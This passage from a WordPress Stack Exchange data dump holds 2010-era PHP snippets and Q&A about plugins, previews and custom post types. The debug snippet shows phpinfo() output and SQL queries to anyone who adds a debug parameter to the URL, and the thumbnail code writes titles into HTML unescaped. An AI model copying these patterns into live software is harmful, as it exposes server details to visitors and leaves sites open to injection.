}&#xA;    }&#xA;    echo '&amp;lt;/pre&amp;gt;' . &quot;\n&quot;;&#xA;    return $in;&#xA;} # dump()&#xA;endif;&#xA;&#xA;/**&#xA; * add_stop()&#xA; *&#xA; * @param mixed $in&#xA; * @param string $where&#xA; * @return mixed $in&#xA; **/&#xA;&#xA;function add_stop($in = null, $where = null) {&#xA;    global $sem_stops;&#xA;    global $wp_object_cache;&#xA;    $queries = get_num_queries();&#xA;    $milliseconds = timer_stop() * 1000;&#xA;    $out =  &quot;$queries queries - {$milliseconds}ms&quot;;&#xA;    if ( function_exists('memory_get_usage') ) {&#xA;        $memory = number_format(memory_get_usage() / ( 1024 * 1024 ), 1);&#xA;        $out .= &quot; - {$memory}MB&quot;;&#xA;    }&#xA;    $out .= &quot; - $wp_object_cache-&amp;gt;cache_hits cache hits / &quot; . ( $wp_object_cache-&amp;gt;cache_hits + $wp_object_cache-&amp;gt;cache_misses );&#xA;    if ( $where ) {&#xA;        $sem_stops[$where] = $out;&#xA;    } else {&#xA;        dump($out);&#xA;    }&#xA;    return $in;&#xA;} # add_stop()&#xA;&#xA;&#xA;/**&#xA; * dump_stops()&#xA; *&#xA; * @param mixed $in&#xA; * @return mixed $in&#xA; **/&#xA;&#xA;function dump_stops($in = null) {&#xA;    if ( $_POST )&#xA;        return $in;&#xA;    global $sem_stops;&#xA;    global $wp_object_cache;&#xA;    $stops = '';&#xA;    foreach ( $sem_stops as $where =&amp;gt; $stop )&#xA;        $stops .= &quot;$where: $stop\n&quot;;&#xA;    dump(&quot;\n&quot; . trim($stops) . &quot;\n&quot;);&#xA;    if ( defined('SAVEQUERIES') &amp;amp;&amp;amp; $_GET['debug'] == 'sql' ) {&#xA;        global $wpdb;&#xA;        foreach ( $wpdb-&amp;gt;queries as $key =&amp;gt; $data ) {&#xA;            $query = rtrim($data[0]);&#xA;            $duration = number_format($data[1] * 1000, 1) . 'ms';&#xA;            $loc = trim($data[2]);&#xA;            $loc = preg_replace(&quot;/(require|include)(_once)?,\s*/ix&quot;, '', $loc);&#xA;            $loc = &quot;\n&quot; . preg_replace(&quot;/,\s*/&quot;, &quot;,\n&quot;, $loc) . &quot;\n&quot;;&#xA;            dump($query, $duration, $loc);&#xA;        }&#xA;    }&#xA;    if ( $_GET['debug'] == 'cache' )&#xA;        dump($wp_object_cache-&amp;gt;cache);&#xA;    if ( $_GET['debug'] == 'cron' ) {&#xA;        $crons = get_option('cron');&#xA;        foreach ( $crons as $time =&amp;gt; $_crons ) {&#xA;            if ( !is_array($_crons) )&#xA;                continue;&#xA;            foreach ( $_crons as $event =&amp;gt; $_cron ) {&#xA;                foreach ( $_cron as $details ) {&#xA;                    $date = date('Y-m-d H:m:i', $time);&#xA;                    $schedule = isset($details['schedule']) ? &quot;({$details['schedule']})&quot; : '';&#xA;                    if ( $details['args'] )&#xA;                        dump(&quot;$date: $event $schedule&quot;, $details['args']);&#xA;                    else&#xA;                        dump(&quot;$date: $event $schedule&quot;);&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;    return $in;&#xA;} # dump_stops()&#xA;add_action('init', create_function('$in', '&#xA;    return add_stop($in, &quot;Load&quot;);&#xA;    '), 10000000);&#xA;add_action('template_redirect', create_function('$in', '&#xA;    return add_stop($in, &quot;Query&quot;);&#xA;    '), -10000000);&#xA;add_action('wp_footer', create_function('$in', '&#xA;    return add_stop($in, &quot;Display&quot;);&#xA;    '), 10000000);&#xA;add_action('admin_footer', create_function('$in', '&#xA;    return add_stop($in, &quot;Display&quot;);&#xA;    '), 10000000);&#xA;&#xA;/**&#xA; * init_dump()&#xA; *&#xA; * @return void&#xA; **/&#xA;&#xA;function init_dump() {&#xA;    global $hook_suffix;&#xA;    if ( !is_admin() || empty($hook_suffix) ) {&#xA;        add_action('wp_footer', 'dump_stops', 10000000);&#xA;        add_action('admin_footer', 'dump_stops', 10000000);&#xA;    } else {&#xA;        add_action('wp_footer', 'dump_stops', 10000000);&#xA;        add_action(&quot;admin_footer-$hook_suffix&quot;, 'dump_stops', 10000000);&#xA;    }&#xA;} # init_dump()&#xA;add_action('wp_print_scripts', 'init_dump');&#xA;&#xA;&#xA;/**&#xA; * dump_phpinfo()&#xA; *&#xA; * @return void&#xA; **/&#xA;&#xA;function dump_phpinfo() {&#xA;    if ( isset($_GET['debug']) &amp;amp;&amp;amp; $_GET['debug'] == 'phpinfo' ) {&#xA;        phpinfo();&#xA;        die;&#xA;    }&#xA;} # dump_phpinfo()&#xA;add_action('init', 'dump_phpinfo');&#xA;&#xA;&#xA;/**&#xA; * dump_http()&#xA; *&#xA; * @param array $args&#xA; * @param string $url&#xA; * @return array $args&#xA; **/&#xA;&#xA;function dump_http($args, $url) {&#xA;    dump(preg_replace(&quot;|/[0-9a-f]{32}/?$|&quot;, '', $url));&#xA;    return $args;&#xA;} # dump_http()&#xA;&#xA;&#xA;/**&#xA; * dump_trace()&#xA; *&#xA; * @return void&#xA; **/&#xA;&#xA;function dump_trace() {&#xA;    $backtrace = debug_backtrace();&#xA;    foreach ( $backtrace as $trace )&#xA;        dump(&#xA;            'File/Line: ' . $trace['file'] . ', ' . $trace['line'],&#xA;            'Function / Class: ' . $trace['function'] . ', ' . $trace['class']&#xA;            );&#xA;} # dump_trace()&#xA;if ( $_GET['debug'] == 'http' )&#xA;    add_filter('http_request_args', 'dump_http', 0, 2);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:14:13.350" LastActivityDate="2011-01-26T14:14:13.350" CommunityOwnedDate="2010-11-28T11:59:08.393" CommentCount="2" />
  <row Id="4613" PostTypeId="2" ParentId="4608" CreationDate="2010-11-28T12:01:42.773" Score="4" ViewCount="" Body="&lt;p&gt;It's used (together with the search query) to measure number of results for a search query, it's not supposed to show up in Analytics like this, this could only happen due to people scraping your site and clicking through to the actual URL...&lt;/p&gt;&#xA;" OwnerUserId="1722" LastActivityDate="2010-11-28T12:01:42.773" />
  <row Id="4614" PostTypeId="2" ParentId="4585" CreationDate="2010-11-28T15:00:15.260" Score="1" ViewCount="" Body="&lt;p&gt;Sometimes people who run these bots or do this manual are paid for the amount of accounts they create. So the more accounts they create the more rewards they get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only after such a run the list goes to the original client who then uses the list of accounts to perform (comment) spam runs or whatever he thinks is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this can be a reason why you first get a load of accounts created and then later by someone else other actions.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-28T15:00:15.260" />
  <row Id="4615" PostTypeId="2" ParentId="4568" CreationDate="2010-11-28T15:30:03.640" Score="3" ViewCount="" Body="&lt;p&gt;My video blog post generator (http://v.leau.co/) does this but not in wp context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You supply a query e.g. &quot;superman&quot; (then wait (without notice that it is doing something) (since im the only user)), then click the vids you like to post, click generate code and you have the code where the thumbs are hosted on my site because it downloaded these in the meanwhile. This code can be copy and pasted in a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words if you would put the code in a function call it would return the piece of code e.g. a href with a link to the video that gets added to the content or e.g. the link to the featured image that is downloaded locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that the piece of code you are looking for ? I think the core is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A function to retrieve more results (ergo if you just want to display more than 1 video in the resulting code instead of 1 specific) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function retrieveMoreResults($key, $q, $start, $cache) {&#xA;$url = &quot;http://ajax.googleapis.com/ajax/services/search/video?v=1.0&amp;amp;q=&quot; . $q . &quot;&amp;amp;rsz=large&amp;amp;start=&quot; . $start. &quot;&amp;amp;key=&quot; . $key;&#xA;$ch = curl_init();&#xA;curl_setopt($ch, CURLOPT_URL, $url);&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_REFERER, $referer);&#xA;$body = curl_exec($ch);&#xA;curl_close($ch);&#xA;$responseData = json_decode($body, true);   &#xA;$tempOutputString .= display($responseData, $cache, $q);&#xA;return $tempOutputString;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A function to get the initial results page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function retrieveResults($key, $q, $cache) {    &#xA;# first call&#xA;$url = &quot;http://ajax.googleapis.com/ajax/services/search/video?v=1.0&amp;amp;q=&quot; . $q . &quot;&amp;amp;rsz=large&amp;amp;key=&quot; . $key;&#xA;$ch = curl_init();&#xA;curl_setopt($ch, CURLOPT_URL, $url);&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_REFERER, $referer);&#xA;$body = curl_exec($ch);&#xA;curl_close($ch);&#xA;$responseData = json_decode($body, true);   &#xA;$tempOutputString = &quot;&quot;;&#xA;$tempOutputString .= display($responseData, $cache, $q);&#xA;&#xA;$boolFirstRequest = true;&#xA;foreach ($responseData[&quot;responseData&quot;][&quot;cursor&quot;][&quot;pages&quot;] as $GsearchResultClass) { &#xA;    $start = $GsearchResultClass[&quot;start&quot;];&#xA;    if ($boolFirstRequest) {&#xA;        $boolFirstRequest = false;&#xA;    } else {&#xA;        $tempOutputString .= retrieveMoreResults($key, $q, $start, $cache);&#xA;    }&#xA;}&#xA;return $tempOutputString;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A function to display download the thumbs in a certain directory (variable) and to return a piece of code to put in the post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display($responseData, $cache, $tag) {&#xA;$strBuffer=&quot;&quot;;&#xA;&#xA;foreach ($responseData[&quot;responseData&quot;][&quot;results&quot;] as $GsearchResultClass) {&#xA;&#xA;    #&#xA;    # there are YouTube urls and also Google Video urls they are both different&#xA;    # the one from Google video has the word &quot;ThumbnailServer&quot; in it&#xA;    # example:&#xA;    # youtube: http://1.gvt0.com/vi/6jKzr143K8U/default.jpg&#xA;    # video.google: http://3.gvt0.com/ThumbnailServer2?app=vss&amp;amp;contentid=7efbd69963e4cc67&amp;amp;offsetms=30000&amp;amp;itag=w160&amp;amp;hl=en&amp;amp;sigh=J6N1fv_It6H5jJWX51fKt-eYqNk&#xA;    #&#xA;    $thumbId=&quot;&quot;;&#xA;    $imageThumb=$GsearchResultClass[&quot;tbUrl&quot;];&#xA;    if (strstr($imageThumb, 'ThumbnailServer')) {&#xA;        $imgStringBits = explode('&amp;amp;',$imageThumb);&#xA;        $parsedImgStr=strstr($imgStringBits[1],'=');&#xA;        $parsedImgStr = substr($parsedImgStr,1);&#xA;        $thumbId = $parsedImgStr;&#xA;    } else {&#xA;        $imgStringBits = explode('/',$imageThumb);&#xA;        $thumbId = $imgStringBits[4];&#xA;    }&#xA;    $imgFile=$cache . &quot;/&quot; . $thumbId . &quot;.jpg&quot;;&#xA;&#xA;    #&#xA;    # Now that we have the imageFile Name check if we already have it in the cache:&#xA;    # - if we have it NEVER delete it (why should we?)&#xA;    # - if we dont well... get it via curl&#xA;    #&#xA;    if (!file_exists($imgFile)) {&#xA;        $ch = curl_init ();&#xA;        $timeout = 5;&#xA;        curl_setopt ($ch, CURLOPT_USERAGENT,  'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0');&#xA;        curl_setopt ($ch, CURLOPT_AUTOREFERER, true);&#xA;        curl_setopt ($ch, CURLOPT_URL, $imageThumb);&#xA;        curl_setopt ($ch, CURLOPT_HEADER, false);&#xA;        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);&#xA;        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);&#xA;        curl_setopt ($ch, CURLOPT_BINARYTRANSFER, true);&#xA;        curl_setopt ($ch, CURLOPT_VERBOSE, 1);&#xA;        $rawdata = curl_exec ($ch);&#xA;        curl_close ($ch);&#xA;        if($rawdata) {          &#xA;            $fp = fopen($imgFile, 'w');&#xA;            fwrite($fp, $rawdata);&#xA;            fclose($fp);&#xA;        } else {&#xA;            #&#xA;            # If our Curl action retrieves nothing then use the default image&#xA;            #&#xA;            $imgfile=&quot;images/default.jpg&quot;;&#xA;        }&#xA;    }&#xA;&#xA;    #&#xA;    # Now that we have the image url create a div (hmm.. might drop that&#xA;    # styling later on in a seperate csss) containg the video thumb, link&#xA;   # and the description. When you like it you can add all the other&#xA;    # parameters that Google returns like length etc...&#xA;    #&#xA;    $strBuffer .=  &quot;&amp;lt;div style=\&quot;float:left;width:125px;height:130px;font-size:8px;font-family:arial;\&quot; class=\&quot;thumb\&quot;&amp;gt;&amp;lt;div&amp;gt;&quot;;&#xA;    $strBuffer .=  &quot;&amp;lt;a href=\&quot;#\&quot; class=\&quot;del\&quot; id=\&quot;$thumbId\&quot;&amp;gt; ADD&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;;                &#xA;    $strBuffer .=  &quot;&amp;lt;a href=\&quot;&quot; .  $GsearchResultClass[&quot;playUrl&quot;]  .    &quot;\&quot; target=\&quot;_blank\&quot;&amp;gt;&quot;;&#xA;    $strBuffer .=  &quot;&amp;lt;img src=\&quot;&quot; . $imgFile . &quot;\&quot; alt=\&quot;&quot; . $GsearchResultClass[&quot;title&quot;] . &quot;\&quot; border=\&quot;0\&quot; width=\&quot;120\&quot;&amp;gt;&quot;;&#xA;    $strBuffer .=  &quot;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;\n&quot;;&#xA;    #&#xA;    # Note that we also add a delete option, for now that only removes it from the page&#xA;    # but in the next version it should do an AJAX call to write the id somewhere so&#xA;    # that we never see it again.&#xA;    #&#xA;    $strBuffer .= $GsearchResultClass[&quot;titleNoFormatting&quot;] . &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;    $strBuffer .= &quot;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;\n&quot;;&#xA;}&#xA;return $strBuffer;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A function to call the above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function moviePage($tag, $cacheName, $cacheTime, $key) { &#xA;$cache = $cacheName . &quot;/&quot; . $tag;&#xA;checkCache($cache);&#xA;cleanCacheHTML($cache);&#xA;&#xA;$filename = $tag . &quot;.html&quot;;&#xA;$spFile=$cache . &quot;/&quot; . $filename;&#xA;&#xA;if (file_exists($spFile) &amp;amp;&amp;amp; filemtime($spFile) &amp;gt; $cacheTime ) {&#xA;    $strBuffer = file_get_contents($spFile) . &quot;&amp;lt;!-- &quot; . $spFile . &quot; from cache --&amp;gt;&quot;;&#xA;} else {                    &#xA;    $strBuffer = retrieveResults($key, $tag, $cache);&#xA;}&#xA;$strBuffer .=  &quot;&amp;lt;br clear=\&quot;all\&quot;&amp;gt;&quot;;&#xA;$fp = fopen($spFile, 'w');&#xA;fwrite($fp, $strBuffer);&#xA;fclose($fp);&#xA;&#xA;return $strBuffer;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the $key is you Google API key) (http://code.google.com/intl/nl-NL/more/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO I think the rest is more just &quot;getting the returned stuff and adding it to the content of a post + setting the downloaded cached thumb as featured?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. IMHO it is always better to post a thumbnail in a video when referring to YouTube videos since often older videos are removed by YouTube and they leave ugly postings as a result. With your own thumbs at least the image stays there forever so that afterwards you do have a clue what you posted there originally.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-28T15:35:05.650" LastActivityDate="2010-11-28T15:35:05.650" CommentCount="2" />
  <row Id="4616" PostTypeId="1" AcceptedAnswerId="5501" CreationDate="2010-11-28T15:42:08.467" Score="1" ViewCount="103" Body="&lt;p&gt;I've got a plugin that needs to interogate the post preview (the contents of the rendered page that's presented when the user clicks &quot;Preview Post&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To attempt to obtain this input stream into a code variable, I'm using wp_remote_get like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$response = &#xA;wp_remote_retrieve_body(&#xA;wp_remote_get(&#xA;'http://localhost/mysite/test-post/?preview=true&amp;amp;preview_id=28&amp;amp;preview_nonce=640bc54ca4')); &#xA;$post-&amp;gt;post_content = $response;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I'm just replacing the post content with the results of the get for easy previewing during code testing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that since I'm not passing any authentication parameters in the wp_remote_get, the preview action fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to pass a parameter that authenticates the current user and returns the preview to the script?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-07T22:38:37.713" Title="How can I call &quot;preview post&quot; from wp_remote_get with authentication?" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4617" PostTypeId="2" ParentId="1653" CreationDate="2010-11-28T16:55:01.927" Score="0" ViewCount="" Body="&lt;p&gt;Duh, I just noted that your URLs use a verbose permalink structure. What happens when you use one of the suggested date/name based structures, e.g. /YYYY/MM/slug/?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-28T16:55:01.927" CommentCount="1" />
  <row Id="4618" PostTypeId="1" AcceptedAnswerId="4647" CreationDate="2010-11-28T21:28:26.460" Score="3" ViewCount="425" Body="&lt;p&gt;I created a custom URL parameter for sorting posts by their vote scores. I have a &quot;most voted&quot; link that sends a &lt;code&gt;?sort=most_voted&lt;/code&gt; URL paramater and using a query posts filter I display posts with most votes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for instance I want to display most voted posts in category 5, I'll need a URL like this &lt;code&gt;?cat=5&amp;amp;sort=most_votes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I preserve/attach the &lt;code&gt;sort&lt;/code&gt; parameter in the URL when browsing categories (or even by tag name, search, etc)? &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-11-29T17:23:02.280" Title="Preserve custom URL parameter on more pages" Tags="&lt;plugins&gt;&lt;php&gt;&lt;urls&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="4619" PostTypeId="1" AcceptedAnswerId="4623" CreationDate="2010-11-29T04:36:48.627" Score="4" ViewCount="288" Body="&lt;p&gt;I've seen some tutorials showing how to create custom post types - the process seems straightforward enough. The issue I have with this is that the custom type information is part of the theme, and not handled by the WP core. So if the theme is switched for another, they custom type information is lost, and must be ported to the new theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some plugins that handle the custom types for you. It seems to me that this is kept separate from the theme, and would thus be more portable, provided the plugin is kept activated. There would of course be a need for the theme to template and style the custom type, but it wouldn't have to maintain the type itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it worthwhile to use a plugin for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-11-29T17:02:45.707" Title="Use a plugin to handle custom post types?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="4620" PostTypeId="1" AcceptedAnswerId="4624" CreationDate="2010-11-29T04:44:04.170" Score="3" ViewCount="360" Body="&lt;p&gt;I currently have some custom post types &quot;shops&quot; (actually more like pages than posts) and a custom taxonomy &quot;products&quot; linked to those post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to create a form (via shortcode) that allows the user to select one (or potentially more in the future) products that when submitted, shows a page listing shops (title and other post meta) related to the chosen product(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the form, just not sure what the best way is to handle the submission and subsequent display page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed the codex page for &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API#add_rewrite_endpoint.28.29&quot; rel=&quot;nofollow&quot;&gt;add_rewrite_endpoint()&lt;/a&gt; states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This can be used for all sorts of things:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;ajax handler&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;form submission handler&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;alternative notification handler&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;however there's no further information about how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on handling form submissions would be great. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Further on this, I want the form submission page to redirect to a nice URL representing the selected term. For example&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User selects product &quot;books&quot;, hits submit&lt;/li&gt;&#xA;&lt;li&gt;Form submits to handling URL &lt;strong&gt;or&lt;/strong&gt; some kind of hook catches the submission&lt;/li&gt;&#xA;&lt;li&gt;The browser is redirected to &quot;shops/books&quot;&lt;/li&gt;&#xA;&lt;li&gt;Something displays the &quot;shop&quot; pages tagged with &quot;books&quot; products&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question can be broken down to...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What URL do I use in the form's &lt;code&gt;action&lt;/code&gt; attribute? Is this even necessary?&lt;/li&gt;&#xA;&lt;li&gt;Where do I handle the form submission? Do I create a specific file or can I register some kind of action hook. Keep in mind that I'm wanting to send a &lt;code&gt;Location&lt;/code&gt; header to redirect to another URL so this needs to happen prior to any output sent to the browser.&lt;/li&gt;&#xA;&lt;li&gt;How do I configure &lt;em&gt;something&lt;/em&gt; to accept the &quot;shops/%product%&quot; request and show results accordingly&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long-winded query but I'm struggling to get to grips with the Wordpress API and documentation.&lt;/p&gt;&#xA;" OwnerUserId="1729" LastEditorUserId="1729" LastEditorDisplayName="" LastEditDate="2010-11-29T05:58:11.520" LastActivityDate="2010-11-29T07:21:25.627" Title="Create page to handle form submission" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;forms&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4621" PostTypeId="1" AcceptedAnswerId="4622" CreationDate="2010-11-29T06:24:56.743" Score="0" ViewCount="99" Body="&lt;p&gt;(Please note this is not a wordpress.org question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi everyone,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want every new post on my blog automatically broadcasted on twitter - the same thing is beautifully supproted with facebook. But I cannot find how to activate it on my blog at namgivu.wordpress.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help if you know how to. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="992" LastEditorUserId="992" LastEditorDisplayName="" LastEditDate="2010-11-29T07:26:31.737" LastActivityDate="2010-11-29T07:26:31.737" Title="How to intergrate wordpress.com with twitter like the way it is with facebook?" Tags="&lt;wordpress.com&gt;&lt;twitter&gt;" AnswerCount="1" />
  <row Id="4622" PostTypeId="2" ParentId="4621" CreationDate="2010-11-29T06:43:25.567" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Nam Gi VU:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, this is not really a WordPress question.  I'll answer it because I tend to be lenient about how related questions need to be but there's a good change another moderator will close the question and if they do I'll agree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically since WordPress.com does not provide this feature you need to use a 3rd party service that will read your RSS feed and send tweets to your Twitter account:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://twitterfeed.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;TwitterFeed&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://autotweet.info/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Auto Tweet&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adsenseforfeeds.blogspot.com/2009/12/socializing-your-feed-with-twitter.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Feedburner Socialize&lt;/strong&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.shoutmeloud.com/auto-tweet-your-blog-feeds-using-feedburner-socialize-feature.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Also&lt;/strong&gt;&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. One more thing. I do not recommend auto-tweeting blog posts. Most Twitter users &lt;em&gt;(myself included)&lt;/em&gt; will unfollow people who auto-tweet if they recognize them doing it. I want to hear from the person, not something they've set up to run automatically. FWIW.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-29T06:43:25.567" CommentCount="5" />
  <row Id="4623" PostTypeId="2" ParentId="4619" CreationDate="2010-11-29T07:09:46.163" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Grant Palin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The &lt;code&gt;register_post_type()&lt;/code&gt; function is really agnostic to theme or plugin&lt;/strong&gt;; you can use it in an &lt;code&gt;'init'&lt;/code&gt; hook in either place, it really depends on what you are trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I'm setting up &lt;strong&gt;a custom site for a specific client&lt;/strong&gt; I'll probably &lt;strong&gt;just register the post types in the theme&lt;/strong&gt;. On the other hand, if I'm trying to create &lt;strong&gt;a reusable custom post type&lt;/strong&gt; &lt;em&gt;(&quot;Event&quot; might be an example)&lt;/em&gt; then I might &lt;strong&gt;register the Event post type in an Event-specific plugin&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However be aware that &lt;em&gt;unless your post type is similar to a standard Post you'll likely still need specific theme support for it anyway&lt;/em&gt;. And with the pending release of &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Post Formats&lt;/a&gt; in v3.1, there really aren't many good reasons to define custom post types that are similar in use-case to a standard Post so you really have six of one, half dozen of the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;strong&gt;I frequently put custom post type registrations&lt;/strong&gt; for a new site &lt;strong&gt;in an include file called by the theme's &lt;code&gt;functions.php&lt;/code&gt; file&lt;/strong&gt; unless and until I get to the point of &lt;strong&gt;a fully generic feature&lt;/strong&gt; in which case &lt;strong&gt;I'll move to a plugin&lt;/strong&gt; &lt;em&gt;(most of my clients have me writing reusable functionality that they then sell to their clients, and most of my work is related to custom post types. I rarely do work on code that will only run on a single website FWIW, JMMV.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I will say, &lt;strong&gt;I would avoid using plugins that provide a UI&lt;/strong&gt; for creating custom post types and custom taxonomies like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI&lt;/a&gt; and similar &lt;strong&gt;&lt;em&gt;except&lt;/em&gt;&lt;/strong&gt; for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When you want to do some &lt;strong&gt;proof-of-concept prototyping&lt;/strong&gt; or &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you want &lt;strong&gt;to empower an end-user&lt;/strong&gt; that you don't want to give FTP access. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Why? Because &lt;strong&gt;these plugins all store their&lt;/strong&gt; custom post type and taxonomy &lt;strong&gt;registrations in the database&lt;/strong&gt; which makes it &lt;strong&gt;&lt;em&gt;very&lt;/em&gt; difficult to version control&lt;/strong&gt; them and also makes it &lt;strong&gt;much harder to launch a new version of the site&lt;/strong&gt; from existing source code. Those UI plugins are really only best used when learning, tinkering, exploring, and/or doing a quick and dirty &lt;em&gt;&quot;what-if&quot;&lt;/em&gt; / &lt;em&gt;&quot;proof-of-concept&quot;&lt;/em&gt;. &lt;em&gt;(Of course the UI plugins are wonderful those those uses.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, &lt;em&gt;the code to register a custom post type and a custom taxonomy is so easy to learn&lt;/em&gt; that there's really no reason for a WordPress professional to develop and deliver a system that doesn't hardcode its custom post types and custom taxonomies into PHP code,  either in the theme or in a plugin, your choice. Matter of fact, I'm about to extract the CPT-UI plugin from a client project and replace with hardcoded PHP registrations this coming week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.  &lt;em&gt;(If not, ask for more.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-29T07:09:46.163" />
